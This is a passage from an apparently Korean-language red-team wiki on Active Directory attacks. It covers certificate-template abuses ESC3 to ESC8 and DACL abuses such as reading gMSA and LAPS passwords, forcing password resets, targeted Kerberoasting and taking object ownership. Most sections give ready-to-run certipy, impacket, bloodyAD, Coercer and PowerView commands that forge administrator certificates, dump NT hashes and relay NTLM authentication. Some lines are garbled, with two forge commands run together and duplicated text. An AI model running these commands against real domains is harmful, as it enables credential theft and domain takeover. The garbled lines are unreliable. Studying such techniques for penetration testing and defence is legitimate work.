</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template 'User' -pfx '&#x3C;pfx>' -on-behalf-of '&#x3C;domain\Administrator>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

#### **Enrollment Rights**

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

<figure><img src="/files/fqxNizQqUwxy9ehxWhDq" alt=""><figcaption><p>Enrollment Rights</p></figcaption></figure>

#### **Requires Manager Approval & Authorized Signatures Required**

<figure><img src="/files/jtJjDRGt25FEtFdEeAcE" alt=""><figcaption></figcaption></figure>

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다. 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

{% hint style="info" %}
This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 1로 설정하는 경우가 많습니다.
{% endhint %}

#### **Any Purpose / EKU**

템플릿의 발행 목적이 Any Purpose로 설정되거나 EKU(Extended Key Usage)에 명확한 값이 명시되어 있지 않을 경우, 공격자는 자신이 발행한 인증서를 통해 다른 사용자를 가장하여 인증할 수 있습니다.

<figure><img src="/files/8IvPn9A4PLLaXYvHsutq" alt=""><figcaption></figcaption></figure>

#### **Include this information in alternate subject name**

기본적으로 사용자는 인증서 요청 시 E-mail과 UPN 필드를 명시해야 하지만, 해당 부분이 비활성화 되어있을 경우 이메일 정보 없이도 인증서 요청이 가능합니다.

<figure><img src="/files/v7EYKO2Mx3bzkITL6UWa" alt=""><figcaption><p>Include this information in alternate subject name</p></figcaption></figure>

## References

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}


# ESC3

스마트 카드를 등록하려는 직원의 인적사항을 통해 관리자가 대행하여 인증 정보를 등록하는 것처럼, ADCS에서도 Certificate Request Agent 속성을 악용하면 다른 사용자의 인증서를 대행하여 등록할 수 있습니다.

Certificate Request Agent 속성은 모든 용도를 의미하는 Any Purpose에 속하기 때문에 ESC2에 취약한 템플릿은 당연하게 ESC3에도 취약합니다.&#x20;

그럼에도 ESC3이 별도의 공격으로 정의된 이유는 Any Purpose 이외의 상황들에서 사용되기 때문이며, 다음과 같은 속성들이 모두 만족할 때 악용 가능한 공격입니다.

| 속성                             | 값                                                         |
| ------------------------------ | --------------------------------------------------------- |
| Requires Manager Approval      | False                                                     |
| Authorized Signatures Required | 0                                                         |
| Enrollment Rights              | 공격자가 컨트롤 가능한 객체 이하의 권한                                    |
| Extended Key Usage(Ver. 1)     | Certificate Request Agent / Any Purpose / Null            |
| Extended Key Usage(Ver. 2)     | Certificate Request Agent / msPKI-RA-Application-Policies |

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template>'

<strong># 발급한 인증서를 통해 Administrator의 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template 'User' -pfx '&#x3C;pfx>' -on-behalf-of '&#x3C;domain\Administrator>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

#### **Enrollment Rights**

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

<figure><img src="/files/fqxNizQqUwxy9ehxWhDq" alt=""><figcaption><p>Enrollment Rights</p></figcaption></figure>

#### **Requires Manager Approval & Authorized Signatures Required**

<figure><img src="/files/jtJjDRGt25FEtFdEeAcE" alt=""><figcaption></figcaption></figure>

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다.

This number of authorized signatures 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

{% hint style="info" %}
This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 실무에서는 1로 설정하는 경우가 많습니다.
{% endhint %}

#### **Certificate Request Agent**

티켓의 발행 확장이 None / Certificate Request Agent / Any Purpose일 경우 공격자는 자신이 발행한 인증서를 통해 다른 사용자를 가장하여 인증할 수 있습니다.

<figure><img src="/files/SvaaipfRzHq3IrjraUW2" alt=""><figcaption></figcaption></figure>

#### **Include this information in alternate subject name**

기본적으로 사용자는 인증서 요청 시 E-mail과 UPN 필드를 명시해야 하지만, 해당 부분이 비활성화 되어있을 경우 이메일 정보 없이도 인증서 요청이 가능합니다.

<figure><img src="/files/v7EYKO2Mx3bzkITL6UWa" alt=""><figcaption><p>Include this information in alternate subject name</p></figcaption></figure>

## References

{% embed url="<https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse>" %}

{% file src="/files/HX8Ch8gSkTdGd2TeB3BG" %}

{% embed url="<https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}


# ESC4

ESC4은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

<table><thead><tr><th width="399">속성</th><th>값</th></tr></thead><tbody><tr><td>Authorized Signatures Required</td><td>0</td></tr><tr><td>Requires Manager Approval</td><td>False</td></tr><tr><td>Enrollment Rights</td><td>공격자가 컨트롤 가능한 객체 이하의 권한</td></tr><tr><td>User ACL Principals</td><td>공격자가 컨트롤 가능한 객체</td></tr></tbody></table>

템플릿에 대해서 높은 권한을 가진 계정을 탈취하는데 성공하면 템플릿의 속성을 ESC1에 취약하게 변경할 수 있습니다.&#x20;

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿 속성 변경
</strong>certipy-ad template -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -template '&#x3C;template>' -write-default-configuration

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template>' -upn '&#x3C;administrator@domain>' -sid '&#x3C;sid>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'

<strong># 템플릿 속성 복구
</strong>certipy-ad template -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -template '&#x3C;template>' -write-configuration 'ESC4.json' -no-save
</code></pre>

## Root Cause

#### User ACL Principals

템플릿에 대해서 GenericAll, GenericWrite 권한이 있으면 해당 템플릿의 모든 속성을 ESC1에 적합하도록 변경할 수 있습니다. 악용을 위해 변경하는 속성들에 대한 설명은 [ESC1](/active-directory/adcs/esc1)을 참고하세요.

<figure><img src="/files/UWsaDuGD6Sou1bFyRhtm" alt=""><figcaption><p>User ACL Principals</p></figcaption></figure>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/>" %}

{% embed url="<https://www.beyondtrust.com/blog/entry/esc4-attacks>" %}

{% embed url="<https://redteam.wiki/postexploitation/active-directory/adcs/esc4>" %}


# ESC5

Certipy는 템플릿에 대해서 정보를 수집하고 공격 가능한 방법을 열거하는 도구기 때문에 도메인에 대한 ACL을 광범위하게 수집하는 정보 수집 도구(예 : BloodHound)를 사용했을 때 식별할 수 있습니다.

CA 서버에서 로컬 관리자 권한을 획득하면 CA 인증서와 개인 키를 발급받는 것이 가능합니다. CA의 개인키를 통해 Administrator의 인증서를 위조하여 서명하면 무결한 위조 인증서가 생성됩니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># CA 서버 인증서 발급
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -config '&#x3C;ca-fqdn>' -backup

<strong># Administrator 인증서 발급
</strong>certipy-ad forge -ca-pfx CONTOSO-AD01-CA.pfx -upn Administrator@contoso.cocertipy-ad forge -ca-pfx '&#x3C;pfx>' -upn 'administrator@domain' -sid '&#x3C;sid>' -crl 'ldap:///'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc5/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}

{% embed url="<https://www.hackingarticles.in/ad-cs-esc5-vulnerable-pki-object-access-control/>" %}


# ESC6

{% hint style="info" %}
해당 취약점은 2022년 5월 Microsoft 보안 업데이트를 통해 패치된 CVE-2022-26923입니다.
{% endhint %}

CA의 구성 설정 중 `EDITF_ATTRIBUTESUBJECTALTNAME2` 플래그는 인증서를 요청 할 때 클라이언트가 SAN(Subject Alt Name) 필드를 요청할 수 있도록 허가하는 특수한 속성입니다.

이 플래그가 활성화 되어있다면 `Supply in the request` 가 활성화 되지 않아도 다른 사용자를 가장하여 인증서 발행이 가능합니다.

{% hint style="info" %}
보안 업데이트가 된 환경이더라도 SID 보안 확장이 미흡한 경우 취약점은 여전히 유효합니다.
{% endhint %}

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template>' -upn '&#x3C;administrator@domain>' -sid '&#x3C;sid>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## References

{% embed url="<https://www.gradenegger.eu/en/take-over-the-active-directory-overall-structure-with-the-flag-editf_attributesubjectaltname2/>" %}

{% embed url="<https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-edit-vulnerable-ca-setting>" %}

{% embed url="<https://www.hackingarticles.in/esc6-editf_attributesubjectaltname2/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}


# ESC7

ESC7은 CA 서버 혹은 서비스 자체에 대해 높은 권한을 가진 계정을 탈취했을 때, 승인 대기 목록에 있는 인증서 요청을 직접 관리함에 따라 도메인 관리자 인증서를 획득할 수 있는 공격입니다.

SubCA 템플릿은 CA 내장 템플릿이지만 기본적으로 활성화된 상태는 아닙니다. 이 템플릿은 다른 사용자를 대신하여 인증서를 요청할 수 있는 `Supply in the request` 속성이 활성화 되어 있기 때문에 해당 템플릿을 활성화한 뒤 악용하는 것이 일반적 시나리오입니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 악용 계정이 Issue and Manage Certificates 권한이 없는 경우 할당
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -ns '&#x3C;dc-ip>' -add-officer '&#x3C;username>'

<strong># SubCA 템플릿 활성화
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -ns '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -enable-template 'SubCA'

<strong># 템플릿을 통한 인증서 발급 요청
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template 'SubCA' -upn '&#x3C;administrator@domain>' -sid '&#x3C;sid>'

<strong># 승인 대기중인 인증서 발급 요청 허용
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -ns '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -issue-request '&#x3C;issue>'

<strong># 인증서 발행
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -retrieve '&#x3C;issue>'

<strong># SubCA 템플릿 비활성화
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -disable-template SubCA
</code></pre>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-attack-esc7/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}


# ESC8

ESC8은 Web Enrollment 기능을 사용하는 ADCS 환경에서 웹 브라우저 접근 시 사용하는 NTLM 인증을 가로채어 다른 클라이언트를 사칭하여 인증서를 발급받을 수 있는 공격입니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># relay 서버 오픈
</strong>certipy-ad relay -target 'https://&#x3C;ca-ip>' -template 'DomainController'

<strong># 강제 인증
</strong>python3 Coercer.py coerce -l 10.0.2.10 -t 192.168.1.25 -u Mick3y -p 'Password123!' -d contoso.com -v

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

도메인 계정이 CA 서버로부터 인증서에 대한 요청을 할 때 대부분의 경우는 클라이언트가 수동으로 하는 경우가 없지만, 인증서 관리를 위해 웹 서비스에서 인증서 요청에 관련한 서비스를 지원합니다.

<figure><img src="/files/YKodoRs1Yjzqo2SZI0JR" alt=""><figcaption><p>web enrollment service</p></figcaption></figure>

Web enrollment 기능은 CA 서버의 certsrv 엔드포인트에서 이용 가능합니다. 때문에 curl 도구로 CA의 certsrv 엔드포인트에 요청 시 반환되는 상태 코드에 따라 웹 서비스 이용 가능 여부를 파악할 수 있습니다.

<figure><img src="/files/hUGlz9uEsrI78kI7HeVB" alt=""><figcaption><p>certsrv 접근 결과</p></figcaption></figure>

ESC8은 강제 인증 취약점이 있는 환경에서, 도메인 컨트롤러가 공격자 서버로 인증하도록 강제할 수 있습니다. 도메인 컨트롤러는 SMB 인증을 위해 NTLM 인증을 하게 되고, 이 패킷을 가로채어 공격자는 CA 웹 서비스에 인증서 요청을 할 수 있습니다.

<figure><img src="/files/ImZiBFzvwYIoemmlV0G0" alt=""><figcaption><p><a href="https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8">https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8</a></p></figcaption></figure>

## References

{% embed url="<https://www.encryptionconsulting.com/mitigating-esc1-and-esc8-vulnerability-in-active-directory/>" %}

{% embed url="<https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/certificate-authority-web-enrollment>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc8-ntlm-relay-to-ad-cs-web-enrollment>" %}


# DACL


# ReadGMSAPassword

gMSA(Group Management Service Account)는 MSA의 확장판으로 여러 컴퓨터에서 공유 가능한 도메인 서비스 계정의 패스워드를 관리하는 서비스입니다.

LAPS와 동일하게 관리자가 직접 패스워드를 관리하는 대신, 도메인 컨트롤러가 주기적으로 랜덤한 난수 값으로 패스워드를 관리합니다.

gMSA에 대해 읽기 권한이 있는 계정은 gMSA에 저장된 패스워드를 읽을 수 있습니다.

## Practice

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># gMSA 덤프 도구 설치
</strong>https://github.com/rvazarkar/GMSAPasswordReader

<strong># gMSA 덤프
</strong>gmsapasswordreader.exe --accountname '&#x3C;username>'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># gMSA 덤프 via nxc
</strong>nxc ldap '&#x3C;dc-ip>' -u '&#x3C;username>' -p '&#x3C;password>' --gmsa

<strong># gMSA 덤프 via bloodyAD
</strong>bloodyAD --host '&#x3C;dc-fqdn>' -d '&#x3C;domain>' -u '&#x3C;username>' -p '&#x3C;password>' --dc-ip '&#x3C;dc-ip>' -k get object '&#x3C;target>' --attr msDS-ManagedPassword
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://github.com/micahvandeusen/gMSADumper>" %}

{% embed url="<https://medium.com/@offsecdeer/attacking-group-managed-service-accounts-gmsa-5e9c54c56e49>" %}


# ReadLAPSPassword

LAPS(Local Administrator Password Solution)은 액티브 디렉토리에 조인된 로컬 컴퓨터들의 관리자 패스워드를 관리하는 보안 솔루션입니다.

솔루션을 도입하면 LAPS가 현재 할당한 객체의 패스워드가 저장되는 속성인  `ms-Mcs-AdmPwd` 와 어떤 주기로 패스워드를 자동으로 변경할 것인지 저장하는 `ms-Mcs-AdmPwdExpirationTime` 이 있습니다.

공격자가 LAPS에서 관리하는 패스워드 속성을 읽을 수 있는 권한을 가진다면, 도메인 내의 LAPS로 관리되는 모든 로컬 컴퓨터 관리자 권한이 탈취될 수 있습니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 모든 LAPS 관리 객체 패스워드 열거
</strong>Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 모든 LAPS 관리 객체 패스워드 열거
</strong>nxc ldap 192.168.1.35 -u Administrator -p 'Password123!' -M laps
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview>" %}

{% embed url="<https://isgovern.com/blog/microsoft-laps-what-is-it-and-why-you-should-be-using-it/>" %}


# ForceChangePassword

객체에 대해 Change password와 Reset password 권한이 있다면 블러드하운드에서 ForceChangePassword로 표시되며 대상의 패스워드를 강제로 변경할 수 있습니다.

<figure><img src="/files/yDJ197pqLg411Hkv5xMi" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
</strong>$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'user-B' -AccountPassword $NewPassword
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># rpcclient
</strong>rpcclient -U user-A 192.168.1.11
setuserinfo2 user-B 23 Password123!

<strong># impacket
</strong>impacket-changepasswd -altuser user-A -altpass 'Password123!' contoso/user-B@192.168.1.11 -reset

<strong># bloodyAD
</strong>bloodyAD --host 192.168.1.11 -d contoso.com -u user-A -p 'Password123!' set password user-B 'Password123!'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword>" %}


# GenericAll

객체에 대한 Full control 권한을 가졌다면 블러드하운드에서 GenericAll로 표시되며 대상에 대한 모든 제어가 가능합니다. 객체의 유형이 어떤 것이냐에 따라 악용할 수 있는 공격이 다르며, 아래는 유형 별 공격을 간단하게 정리한 테이블입니다.

<table><thead><tr><th width="150">분류</th><th>권한 악용</th></tr></thead><tbody><tr><td>User</td><td><a data-mention href="/pages/VN9Ut3pKfpq1CNVXUwxz">/pages/VN9Ut3pKfpq1CNVXUwxz</a>, <a data-mention href="/pages/Dmd14GeZunWoP32Azqo2">/pages/Dmd14GeZunWoP32Azqo2</a>, <a data-mention href="/pages/43VaZ0YI37riI8NVTrWj">/pages/43VaZ0YI37riI8NVTrWj</a>, <a data-mention href="/pages/4noDTDJG9NtcMXuQHHJ3">/pages/4noDTDJG9NtcMXuQHHJ3</a></td></tr><tr><td>Computer</td><td><a data-mention href="/pages/Dmd14GeZunWoP32Azqo2">/pages/Dmd14GeZunWoP32Azqo2</a>, <a data-mention href="/pages/c1E2UzaFP2qTVPu6uZtL">/pages/c1E2UzaFP2qTVPu6uZtL</a></td></tr><tr><td>Group</td><td><a data-mention href="/pages/ey7hTXULqCzY4xIQvh7n">/pages/ey7hTXULqCzY4xIQvh7n</a></td></tr><tr><td>OU</td><td><a data-mention href="/pages/wI8yrQLJvjoMEH5YSeYu">/pages/wI8yrQLJvjoMEH5YSeYu</a></td></tr><tr><td>Template</td><td><a data-mention href="/pages/1m82eshWb7utjB9xxlih">/pages/1m82eshWb7utjB9xxlih</a></td></tr><tr><td>GPO</td><td><a data-mention href="/pages/NKTIQ58lAlX6zBntNYY2">/pages/NKTIQ58lAlX6zBntNYY2</a></td></tr></tbody></table>

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17312347318043-GenericAll>" %}


# GenericWrite

| 분류       | 권한 악용                                                                                                                                                                                                 |
| -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| User     | [Shadow Credentials](/data-theft/active-directory/shadow-credentials), [Targeted Kerberoasting](/data-theft/active-directory/targeted-kerberoasting), [RecycleBin](/active-directory/dacl/recyclebin) |
| Group    | [AddMembers](/active-directory/dacl/addmembers), [RecycleBin](/active-directory/dacl/recyclebin)                                                                                                      |
| Computer | [Shadow Credentials](/data-theft/active-directory/shadow-credentials), [RecycleBin](/active-directory/dacl/recyclebin)                                                                                |
| Template | [ESC4](/active-directory/adcs/esc4)                                                                                                                                                                   |
| Domain   | [DCSync](/data-theft/active-directory/dcsync)                                                                                                                                                         |

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17312606850203-GenericWrite>" %}


# WriteSPN

대상에 대해 WriteSPN 권한이 있는 경우 공격자는 대상을 주체로 도메인 SPN을 등록할 수 있습니다. SPN 등록 직후 서비스 티켓을 요청하여 커버로스팅 공격을 하고 SPN을 삭제합니다.

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 권한이 있는 사용자 개체 정보 변수화
</strong>$SecPassword = ConvertTo-SecureString &#x3C;PASS> -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(contoso.com/user-A, $SecPassword)

<strong># 도메인 객체 정보 저장
</strong>Set-DomainObject -Credential $Cred -Identity user-B -SET @{serviceprincipalname='nonexistent/HTTP'}

<strong># SPN 등록
</strong>Get-DomainSPNTicket -Credential $Cred user-B | fl

<strong># 공격 후 SPN 정리
</strong>Set-DomainObject -Credential $Cred -Identity user-B -Clear &#x3C;SPN>
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

```bash
python3 targetedKerberoast.py -v -d contoso.com -u user-A -p 'Password123!' --request-user user-B --only-abuse
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17222775975195-WriteSPN>" %}


# WriteDACL


# WriteOwner

객체에 대해 Modify owner 권한을 가졌다면 블러드하운드에서 WriteOwner로 표시되며 이것은 대상의소유권을 변경할 수 있는 권한입니다. 소유권이 변경된 이후 추가적인 공격 방식은 대상의 유형이 어떤 것이냐에 따라 달라집니다. 아래 표는 소유권 변경 이후 진행할 수 있는 공격에 대해 간단히 정리한 테이블입니다.

| 분류       | 권한 악용                     |
| -------- | ------------------------- |
| User     | 소유권 변경 → GenericAll 권한 위임 |
| Group    | 소유권 변경 → AddMembers 권한 위임 |
| Computer | 소유권 변경 → GenericAll 권한 위임 |

## User

<figure><img src="/files/gTIUllPiVI7pofvm1wXI" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 권한이 있는 user-A 자격 증명을 변수로 저장
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

<strong># user-B의 owner를 user-A로 변경
</strong>Set-DomainObjectOwner -Credential $Cred -SamAccountName "user-B" -OwnerIdentity "user-A"

<strong># GenericAll 권한 위임
</strong>Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'user-B' -Rights 'all' -PrincipalIdentity 'user-A'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 소유권 변경
</strong>impacket-owneredit -action write -new-owner user-A -target user-B contoso/user-A:'Password123!' -dc-ip 192.168.1.11

<strong># impacket을 이용한 GenericAll 권한 위임
</strong>impacket-dacledit -action write -rights FullControl -principal user-A -target user-B contoso/user-A:'Password123!' -dc-ip 192.168.1.11

<strong># 복구
</strong>impacket-dacledit -action restore -file dacledit-20250630-221422.bak contoso/user-A:'Password123!' -dc-ip 192.168.1.11       
</code></pre>

{% endtab %}
{% endtabs %}

## Group

<figure><img src="/files/Fq4OUpfhPNawfqibguz1" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre><code><strong># 권한이 있는 user-A 자격 증명을 변수로 저장
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

<strong># 소유권 변경
</strong>Set-DomainObjectOwner -Credential $Cred -Identity 'local_member' -OwnerIdentity 'user-A'

<strong># GenericAll 권한 위임
</strong>Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'local_member' -Rights 'all' -PrincipalIdentity 'user-A'

<strong># 멤버 추가
</strong>Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre><code><strong># 소유권 변경
</strong>impacket-owneredit -action write -new-owner user-A -target local_member contoso/user-A:'Password123!' -dc-ip 192.168.1.11

<strong># WriteDACL을 이용한 WriteMembers 권한 위임
</strong>impacket-dacledit -action write -rights WriteMembers -principal user-A -target local_member contoso/user-A:'Password123!' -dc-ip 192.168.1.11

<strong># 멤버 추가
</strong>bloodyAD -u user-A -p 'Password123!' -d contoso.com --host 192.168.1.11 add groupMember local_member user-A

<strong># 복구
</strong>impacket-dacledit -action restore -file dacledit-20250630-230117.bak contoso/user-A:'Password123!' -dc-ip 192.168.1.11
</code></pre>

{% endtab %}
{% endtabs %}

## Computer

<figure><img src="/files/4el7Jlq1dQBT7rvQOHPe" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre><code><strong># 권한이 있는 user-A 자격 증명을 변수로 저장
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

<strong># 소유권 변경
</strong>Set-DomainObjectOwner -Credential $Cred -Identity local-machine$ -OwnerIdentity user-A

<strong># GenericAll 권한 위임
</strong>Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'local-machine$' -Rights 'all' -PrincipalIdentity 'user-A'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre><code><strong># 소유권 변경
</strong>impacket-owneredit -action write -new-owner user-A -target local-machine$ contoso/user-A:'Password123!' -dc-ip 192.168.1.11

<strong># WriteDACL을 이용한 GenericAll 권한 위임
</strong>impacket-dacledit -action write -rights FullControl -principal user-A -target local-machine$ contoso/user-A:'Password123!' -dc-ip 192.168.1.11

<strong># 복구
</strong>impacket-dacledit -action restore -file dacledit-20250630-223138.bak contoso/user-A:'Password123!' -dc-ip 192.168.1.11
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://medium.com/@persecure/baby2-vulnlab-33fa8a52d245>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/privilege-escalation/ad-dacl/writeowner>" %}


# WriteUAC

<figure><img src="/files/SDEU6L4W9qTPONyfPx6x" alt=""><figcaption><p>WriteUAC 세팅</p></figcaption></figure>

